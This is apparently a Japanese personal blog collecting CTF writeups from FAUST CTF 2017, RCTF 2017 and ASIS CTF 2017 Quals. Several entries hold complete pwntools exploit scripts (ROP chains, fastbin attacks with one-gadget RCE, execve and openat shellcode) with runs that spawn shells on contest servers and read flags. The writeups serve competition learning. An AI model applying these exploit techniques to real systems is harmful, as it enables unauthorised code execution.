ブログ未満のなにか

ブログなのか誰にも分からない

FAUST CTF 2017 writeup

はじめに

TokyoWesternsで参加して14161.47ptの8位だった。得点の内訳は、Attackが2412.00pt、Defenceが-651.05pt、SLAが12166.52ptだった。 自分は、8つあるサービスの1つであるtoiletのpatchとexploitをやった。toiletでflagを取られることはなかったのでpatchが完璧だったみたい。 exploitとpatchのwriteupを載せる。

toilet

Loginでの入力はfgets(stdin, name, 0x41)を使っており、0x40byteとNULLの1byteを書き込むことができる。書き込まれる先はheap上になっており、nameの直下にはFlushで使用する関数ポインタが格納されている。 しかし、name分の大きさは0x40byte分しかないので、fgetsのNULL終端で関数ポインタの下位1byteをNULLに上書きすることができる。

この状態で、関数ポインタ経由で関数を呼ぶと下記のような場所を呼ぶことができる。0x40249dでは、第一引数(rdi)にある文字列を'data/%s'に展開してopen()->read()する。バイナリをよく読んでないので詳細は分からないが、read()された文字列のポインタがnameとして設定されるので、Show current settingsでファイルの中身を読むことができる。data/配下にflagが書き込まれるので、あとはやるだけ。

gdb-peda$ x/20gx 0x606410
0x606410:       0x0000000000000000      0x0000000000000071
0x606420:       0x6161616161616161      0x6161616161616161
0x606430:       0x6161616161616161      0x6161616161616161
0x606440:       0x6161616161616161      0x6161616161616161
0x606450:       0x6161616161616161      0x6161616161616161
0x606460:       0x0000000000403000      0x0000000000000014
0x606470:       0x0000000000000000      0x0000000059288a7a
0x606480:       0x0000000065614388
gdb-peda$ x/7i 0x403000
   0x403000:    test   rdi,rdi
   0x403003:    je     0x403010
   0x403005:    sub    rsp,0x8
   0x403009:    call   0x40249d
   0x40300e:    jmp    0x403016
   0x403010:    mov    eax,0x0
   0x403015:    ret

exploit

下記の手順でflagを読むことができる。

1. Login 
適当に0x40byte入れる。関数ポインタの下位1byteがNULL(0x00)になる。

8. Show Log 
Nameからflagのfilenameを得る。これはそういう仕様。

5. Drop a load
最初の入力は適当に数byte入力する。ここは何でもいい。
次の入力で取得したflagのfilenameを入力する。

7. Flush 
open(flag) -> read()が走る。

4. Show current settings
nameの箇所にflagがでてくる。

実際にやると、こんな感じ。flagはFAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoiで、あとは適当に自動化するだけ。自動化は自動化のプロにやってもらった。

$$$$$$$$\  $$$$$$\  $$$$$$\ $$\       $$$$$$$$\ $$$$$$$$\ 
\__$$  __|$$  __$$\ \_$$  _|$$ |      $$  _____|\__$$  __| 
   $$ |   $$ /  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$$$$\       $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$  __|      $$ |    
   $$ |   $$ |  $$ |  $$ |  $$ |      $$ |         $$ |    
   $$ |    $$$$$$  |$$$$$$\ $$$$$$$$\ $$$$$$$$\    $$ |    
   \__|    \______/ \______|\________|\________|   \__|    
                                                           
                                                           
                                                           
Welcome to the our new smart toilet!
It's the best experience you'll get since your change from diaper to potty!
Try our note feature to keep track of your bowel movement!
Even better, in our next update we'll add a twitter sharing option!

1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 1

Please give me your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 8

This is highly sensitive information and we respect your privacy!
Therefore, we anonymize the names in this log.
But be aware that we are forced by law to hand out any data in case of a government agencies request.

#################################################################################################
#=========================================  Log  ===============================================#
#===============================================================================================#
#====                         Name (anonymized)                        ==== | ====   Date   ====#
#========================================================================== | ==================#
#==== 72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8 ==== | ==== 01:54:03 ====#
#################################################################################################
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 5

Alright here we go!
Don't hold back, give me everything you got!
You've landed the jumbo! Nice work!
Your load weights 00000339g 

Please describe the consistency: aaa
Please leave a note about your gorgeous work:
72508d056b428937372e831bad23753c3ad3e1cd66cb22d1e5b347850ddce5a8
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 


Your choice: 7

Going to flush now
Aaaand it's gone!
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 4

ID: 954972103
Name: FAUST_WShgeNoH74XqhAAAAAByXae4mq/HQOoi
Seat temperature: 20
Max. weight: 398
Last visit: 05:18:57
1. Login 
2. Change the seat temperature 
3. Change the flush function 
4. Show current settings 
5. Drop a load 
6. Show latest notes 
7. Flush 
8. Show Log 
9. Logout 
10. Exit 

Your choice: 

patch

fgets(stdin, name, 0x41)で1byte溢れるのが問題なので、fgets(stdin, name, 0x40)に修正した。この修正は問題なくSLAは通っていた。 適当にバイナリをvim -bで開き該当の箇所を直接書き換えてpatchを当てた。

おわりに

First Solve取れそうだったけど、間に合わなかった。次はFirst Solveとりたい。 あと最近、オンラインA&Dが多い気がする。

RCTF 2017 writeup

はじめに

TokyoWesternsで参加して4581ptで15位だった。自分はそのうち6問を解いて1965ptだった。 解いた問題は、Sign In、easyre、Recho、RCalc、RNote、RNote2で、そのwriteupを書いていく。

Sign In (Misc 32pt)

IRCに入るだけ

RCTF{Welcome_To_RCTF_2017}

easyre (Revrse 153pt)

UPXで圧縮されていたので、まずは解凍した。 gdbで適当に処理を追いながら、flagらしい文字列を送信したら当たっていた。

RCTF{rhelheg}

Recho (Pwn 370pt)

はじめにsizeを指定するためのread()があり、指定したsize分だけまたread()がある。それをずっと繰り返しており、sizeの入力がなかったとき(EOFを送る)にmainの処理が終わる。 SSPがないため、BOFを起こせるが、ネットワーク越しだと一回EOFを送るとその先の入力が行えなくなる。そのため一回のROPでflagを読む必要がある。 方針は単純で、read()のGOTの値を適当に書き換えてopen()にして、open()->read()->write()を行った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "recho.2017.teamrois.cn"
RPORT = 9527
LHOST = "127.0.0.1"
LPORT = 9527

# libc = ELF('')
elf = ELF('./Recho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Recho'], execute=execute)
else:
    conn = process(['./Recho'])
    # conn = process(['./Recho'], env={'LD_PRELOAD': ''})


bufsize = 48 # without saved ebp 

write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
write_got = elf.got['write']
read_got = elf.got['read']

pop_rax =  0x004006fc   #: pop rax ; ret  ;  (1 found)
pop_rdi =  0x004008a3   #: pop rdi ; ret  ;  (1 found)
pop_rdx =  0x004006fe   #: pop rdx ; ret  ;  (1 found)
pop_rsi_r15 = 0x004008a1#: pop rsi ; pop r15 ; ret  ;  (1 found)
call_rax = 0x004005b0   #: call rax ;  (1 found)
add_rdi_al = 0x0040070d #: add byte [rdi], al ; ret  ;  (1 found)

flag_addr = 0x601058

bss = 0x00601000 + 0x100

# preparing for exploitation

log.info('Pwning')

conn.recvuntil('Welcome to Recho server!\n')
payload = "A" * bufsize
payload += p64(1)

# modify GOT of 'read' to 'open' 
rop = ''
rop += p64(pop_rdi)
rop += p64(read_got)
rop += p64(pop_rax)
rop += p64(0xe0)    # -0x20
rop += p64(add_rdi_al)
rop += p64(pop_rdi)
rop += p64(read_got+1)
rop += p64(pop_rax)
rop += p64(0xfe)    # -2
rop += p64(add_rdi_al)

# open('flag', constants.O_RDONLY)
rop += p64(pop_rdi)
rop += p64(flag_addr)
rop += p64(pop_rsi_r15)
rop += p64(constants.O_RDONLY)
rop += p64(0x4141414142424242)
rop += p64(pop_r12_3)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(read_got)
rop += p64(call_r12)
rop += p64(0xdeadbeaf) * 7

# modify GOT of 'open' to 'read' 
rop += p64(pop_rdi)
rop += p64(read_got)
rop += p64(pop_rax)
rop += p64(0x20)    # -0x20
rop += p64(add_rdi_al)
rop += p64(pop_rdi)
rop += p64(read_got+1)
rop += p64(pop_rax)
rop += p64(0x2)    # -2
rop += p64(add_rdi_al)

# read(fd, bss, 0x100)
rop += p64(pop_rax)
rop += p64(read_plt)
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi_r15)
rop += p64(bss)
rop += p64(0xdeadbeaf)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(call_rax)
rop += p64(0x0)

# write(stdout, bss, 0x100)
rop += p64(pop_rax)
rop += p64(write_plt)
rop += p64(pop_rdi)
rop += p64(constants.STDOUT_FILENO)
rop += p64(pop_rsi_r15)
rop += p64(bss)
rop += p64(0x11)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(call_rax)

payload += rop
conn.sendline(str(len(payload)).ljust(0xf, '\x00'))
conn.send(payload)
conn.shutdown('send')
conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/Recho/Recho/Recho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to recho.2017.teamrois.cn on port 9527: Done
[*] Pwning
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10RCTF{l0st_1n_th3_3ch0_d6794b}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Closed connection to recho.2017.teamrois.cn port 9527
[*] Got EOF while reading in interactive

RCalc (Pwn 350pt)

scanf(“%s”)があり、BOFが起きる。自前のSSPが実装されているが、計算結果の保存を繰り返し行うことでcanaryを書き潰すことができるので、無いも同然。 scanfで区切られる文字に注意しながら、ROPした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "rcalc.2017.teamrois.cn"
RPORT = 2333
LHOST = "127.0.0.1"
LPORT = 2333

libc = ELF('./libc.so.6')
elf = ELF('./RCalc')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RCalc'], execute=execute)
else:
    conn = process(['./RCalc'])
    # conn = process(['./RCalc'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

puts_got = elf.got['puts']
read_got = elf.got['read']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))

leave_ret = 0x00401034  #: leave  ; ret  ;  (1 found)
csu_init1 = 0x401100    # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
csu_init2 = 0x40111a    # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x00401123    #: pop rdi ; ret  ;  (1 found)
bss = 0x602200

def Add(int1, int2, flag):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('input 2 integer: ', str(int1))
    conn.sendline(str(int2))
    
    if flag:
        conn.sendlineafter('Save the result? ', 'yes')
    else:
        conn.sendlineafter('Save the result? ', 'no')


log.info('Pwning')

name = 'A' * 0x108
name += p64(0x2)
name += "X" * 8

# read(stdin, bss, 0x100) and stack pivot
rop = ''
rop += p64(csu_init2)
rop += p64(0x070400)                # rbx
rop += p64(0x070400+1)              # rbp
rop += p64(0x280050)                # r12
rop += p64(0x100)                   # r13
rop += p64(bss)
rop += p64(0x0)
rop += p64(csu_init1)
rop += "Z" * 8
rop += "Z" * 8
rop += p64(bss - 8)
rop += "Z" * (8 * 4)
rop += p64(leave_ret)

payload = name + rop
conn.sendlineafter('Input your name pls: ', payload)

for i in range(0x20 + 2):
    Add(i, i, True)

Add(1, 1, True)
conn.sendlineafter('Your choice:', '5'.ljust(0xf, '\x00'))

# puts(puts_got)
rop = ''
rop += p64(csu_init2)
rop += p64(0x0)                    # rbx
rop += p64(0x1)                    # rbp
rop += p64(puts_got)                # r12
rop += p64(0xdeadbeaf)             # r13
rop += p64(0xdeadbeaf)
rop += p64(puts_got)
rop += p64(csu_init1)
rop += "Z" * 8
# read(stdin, bss+a, 0x100) and stack pivot
rop += p64(0x0)                    # rbx
rop += p64(0x1)                    # rbp
rop += p64(read_got)                # r12
rop += p64(0x100)             # r13
rop += p64(bss+0x100)
rop += p64(0)
rop += p64(csu_init1)
rop += "Z" * 8
rop += "Z" * 8
rop += p64(bss - 8 + 0x100)
rop += "Z" * (8 * 4)
rop += p64(leave_ret)
conn.sendline(rop)

libc_base = u64(conn.recv(6).ljust(8, '\x00')) - puts_offset
log.info('libc_base = {:#x}'.format(libc_base))

rop = ''
rop += p64(pop_rdi)
rop += p64(libc_base + binsh_offset)
rop += p64(libc_base + system_offset)
conn.sendline(rop)

conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/RCalc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/hama/ctf/RCTF2017/RCalc/RCalc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to rcalc.2017.teamrois.cn on port 2333: Done
[*] Pwning
[*] libc_base = 0x7f9b1a4f4000
[*] Switching to interactive mode

$ cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}

RNote (Pwn 454pt)

bss上に存在する管理領域で、off-by-one BOFが存在する。書き潰せる箇所は、malloc()で取得したポインタなので、ある程度任意の箇所でfree()ができる。 double freeができるので、fastbin dupからfastbin attackをした。__malloc_hookを書き換えてone gadget RCEを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "rnote.2017.teamrois.cn"
RPORT = 7777
LHOST = "127.0.0.1"
LPORT = 7777

# libc = ELF('./libc.so.6')
elf = ELF('./RNote')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RNote'], execute=execute)
else:
    conn = process(['./RNote'])
    # conn = process(['./RNote'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def add_note(size, name, content):
    conn.sendlineafter('Your choice: ', '1')
    conn.sendlineafter('Please input the note size: ', str(size))
    conn.sendafter('Please input the title: ', name)
    conn.sendafter('Please input the content: ', content)

def delete_note(idx):
    conn.sendlineafter('Your choice: ', '2')
    conn.sendlineafter('Which Note do you want to delete: ', str(idx))

def show_note(idx): 
    conn.sendlineafter('Your choice: ', '3')
    conn.sendlineafter('Which Note do you want to show: ', str(idx))
    
    conn.recvuntil('note title: ')
    name = conn.recvline()
    conn.recvuntil('note content: ')
    content = conn.recvuntil('***********************')
    return (name, content)

log.info('Pwning')

# idx = 0
add_note(0xa0, '\x10'*0x11, 'b'*0xa0)
(buf, _) = show_note(0)
buf = buf.split('\n')[0]
heap_base = u64(buf[16:].ljust(0x8, '\x00')) - 0x10
log.info('heap_base = {:#x}'.format(heap_base))  

add_note(0x40, 'hoge\n', 'c'*0x40)  # idx=1
delete_note(0)
add_note(0xa0, 'fuga\n', '\n')     # idx=0
(_, buf) = show_note(0)
libc_base = u64(buf[:6].ljust(8, '\x00')) - 0x3c3b0a
log.info('libc_base = {:#x}'.format(libc_base))

add_note(0x60, 'AAAAAA\n', 'c'*0x60)  # idx=2
add_note(0x60, 'BBBBBB\n', 'c'*0x60)  # idx=3
delete_note(2)
add_note(0x10, '\x10'*0x11, 'fd')     # idx=2
delete_note(3)
delete_note(2)

offset = 0x3c3af5-8 
add_note(0x60, 'fastbin\n', p64(libc_base + offset) + "\n")
add_note(0x60, 'a\n', 'a\n')
add_note(0x60, 'a\n', 'a\n')
payload = ''
payload = '\x00'*3
payload += p64(0) * 2
payload += p64(libc_base+0xf0567)
#payload = payload.ljust(0x67,'x')
add_note(0x68, 'a\n', payload + '\n')
conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/RCTF2017/RNote/RNote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to rnote.2017.teamrois.cn on port 7777: Done
[*] Pwning
[*] heap_base = 0x1201000
[*] libc_base = 0x7f979d363000
[*] Switching to interactive mode
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: $ 1
$ 10
Please input the note size: $ ls
RNote
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}

RNote2 (Pwn 606pt)

expand機能でめんどくさい感じのバグがあり、直下のchunkのsizeを上書きできる。unsortedbinにつながっているchunkのsizeをより大きい値で上書きしてoverlapを起こした。 適当にfastbin attackをして、one gadget RCEを使った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "rnote2.2017.teamrois.cn"
RPORT = 6666
LHOST = "127.0.0.1"
LPORT = 6666

# libc = ELF('./libc.so.6')
elf = ELF('./RNote2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./RNote2'], execute=execute)
else:
    conn = process(['./RNote2'])
    # conn = process(['./RNote2'], env={'LD_PRELOAD': './libc.so.6'})

def add_note(length, content):
    conn.sendlineafter('Your choice:', '1')
    conn.sendafter('Input the note length:', str(length))
    conn.sendafter('Input the note content:', content)

def delete_note(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Which note do you want to delete?', str(idx))

def list_note():
    conn.sendlineafter('Your choice:', '3')
    
def edit_note(idx, content):
    conn.sendlineafter('Your choice:', '4')
    conn.sendlineafter('Which note do you want to edit?', str(idx))
    conn.sendafter('Input new content:', content)

def expand_note(idx, length, content):
    conn.sendlineafter('Your choice:', '5')
    conn.sendlineafter('Which note do you want to expand?', str(idx))
    conn.sendlineafter('How long do you want to expand?', str(length))
    conn.sendafter('Input content you want to expand', content)

# preparing for exploitation

log.info('Pwning')

# leak libc
add_note(0x90+8, 'a'*0x98)  # id = 1
add_note(0x90+8, 'a'*0x98)  # id = 1
delete_note(1)
add_note(0x20, '\n')
list_note()
conn.recvuntil('Note content: ')
conn.recvuntil('Note content: ')
libc_base = u64(conn.recv(6).ljust(8, '\x00')) - 0x3c3c0a 
log.info('libc_base = {:#x}'.format(libc_base))

# leak heap_base
add_note(0x38, '\n')
delete_note(2)
delete_note(2)
add_note(0x28, 'b'*0x10+'\n')
list_note()
conn.recvuntil('b'*0x10)
heap_base = u64(conn.recv(6).ljust(8, '\x00')) - 0xa
log.info('heap_base = {:#x}'.format(heap_base))

add_note(0x38, 'hoge\n')    # id = 3
add_note(0x100, 'd'*0x100)
add_note(0x68, 'e'*0x68)
delete_note(4)
delete_note(3)
add_note(0x28, 'f'*0x28)
expand_note(4,0x80, '\xff'*0x80)
delete_note(3)

payload = 'x' * 0x88
payload += p64(0x31)
payload += p64(0x0)
payload += p64(0xc8)
payload += p64(0x0)
payload += p64(heap_base)
payload += p64(heap_base)
payload += p64(0x71)
payload += p64(libc_base + 0x3c3aed)
payload += "\n"

add_note(0xd0-8, payload)
add_note(0x70-8, '\n')
payload = '\x00' * 3
payload += p64(0x0) * 2
payload += p64(libc_base + 0xf5b10)
add_note(0x70-8, payload +'\n')

conn.interactive()
% python exploit.py r
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/hama/ctf/RCTF2017/RNote2-dir/RNote2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to rnote2.2017.teamrois.cn on port 6666: Done
[*] Pwning
[*] libc_base = 0x7fa60f4da000
[*] heap_base = 0x55a6b6dbe000
[*] Switching to interactive mode

***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
$ 1
Input the note length:
$ 10
$ ls
RNote2
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}

おわりに

ダラダラと解いていたので時間がかかった。難易度的には初心者向けよりちょっと上ぐらいに感じた。aiRcraftは時間がなかったので諦めた。solve数的には解けたと思うので速度を上げたい。 あとは、もっとrevをできるようになりたい。

ASIS CTF 2017 Quals writeup

はじめに

TokyoWesternsで参加して4933ptで3位だった。そのうち998ptを取った。 解いてflagを出したのは、Random generator、Defaulter、CRC、Stard hard、Ca…gF remastered、CTF Surveyの6問(実質5問)だった。

Random generator (Warm-up, Pwning 95pt)

バイナリはまともに読んでないので詳しくは分からないがcanaryが分かるのでROPした。やるだけ

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "69.90.132.40"
RPORT = 4000
LHOST = "127.0.0.1"
LPORT = 4000

# libc = ELF('')
elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute)
else:
    conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'])
    # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def leak(idx):
    conn.sendlineafter('What random value do you want to get?', str(idx))
    conn.recvuntil('Your value = ')
    buf = conn.recvline()
    buf = buf.strip('\n')
    return int(buf)

# 0x00400f8c: pop rax ; pop rdi ; ret  ;  (1 found)
# 0x00400f61: pop rsi ; pop r15 ; ret  ;  (1 found)
# 0x00400f88: mov rdx, rsi ; ret  ;  (1 found)
# 0x00400f8f: syscall  ;  (1 found)
pop_rax_rdi = 0x00400f8c
pop_rsi_r15 = 0x00400f61
mov_rdx_rsi = 0x00400f88
syscall = 0x00400f8f
bss_base = 0x602340

bufsize = 0x410 - 8

log.info('Pwning')

rop = ""
# read(stdin, bss, 0x100)
# rdx = 0x100 size
rop += p64(pop_rsi_r15)
rop += p64(0x100)
rop += p64(0x0)
rop += p64(mov_rdx_rsi)
# rsi = bss *buf
rop += p64(pop_rsi_r15)
rop += p64(bss_base)
rop += p64(0x0)
# rdi = 0 fd, rax = 0 SYS_read
rop += p64(pop_rax_rdi)
rop += p64(0x0)
rop += p64(0x0)
# syscall
rop += p64(syscall)

# system(&"/bin/sh", NULL, NULL)
# rdx = NULL
rop += p64(pop_rsi_r15)
rop += p64(0x0)
rop += p64(0x0)
rop += p64(mov_rdx_rsi)
# rsi = NULL
rop += p64(pop_rsi_r15)
rop += p64(0x0)
rop += p64(0x0)
# rdi = &"/bin/sh"
rop += p64(pop_rax_rdi)
rop += p64(59)
rop += p64(bss_base)
rop += p64(syscall)

binsh = "/bin/sh\x00"

canary = 0
for i in range(1, 8):
    print i
    buf = leak(i)
    canary += buf << ((i) * 8)
print hex(canary)

conn.sendline("0")
payload = "A" * bufsize
payload += p64(canary)
payload += "XXXXYYYY"
payload += rop

# payload += rop
conn.sendline(payload)
conn.sendline(binsh)
conn.interactive()

# ASIS{e77c4a76d8079b330e7e78e8e3f434c4}

Defaulter (Pwning 186pt)

blind問。バイナリがないのでまずはテキスト領域をダンプした。write, read, openatが許可されているので、flagを開いて読んだ。openatの第一引数を-100にするとopenと同じ動きをするらしい。あとはやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "188.226.140.60"
RPORT = 10001
LHOST = "127.0.0.1"
LPORT = 4000

# libc = ELF('')
# elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute)
else:
    conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'])
    # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''})

# preparing for exploitation


# leak text


text_base = 0x400000


shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 0x67616c662f2f2f2e
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
mov rsi, 0x601810
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
mov rsi, 0x601810
mov rdx, 0x100
mov rax, 1
syscall     
'''

conn.recvuntil('The shellcode to execute:')
conn.sendline(asm(shellcode))
print repr(asm(shellcode))

print repr(conn.recv(1024))
print repr(conn.recv(1024))

# ASIS{r34d_wr1t3_sh3llc0de_w1th_0pen4t_:-P}

CRC (Pwning 123pt)

サイズと文字列を投げると、そのCRC32の値を返してくれる。入力にgets()を使っているのでBOFがある。あとはlibcとcanaryを求めた。

#!/usr/bin/env python
from pwn import *
import json

context(os='linux', arch='i386')
# context.log_level = 'debug' # output verbose log

RHOST = "69.90.132.40"
RPORT = 4002
LHOST = "127.0.0.1"
LPORT = 4002

# libc = ELF('')
elf = ELF('./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

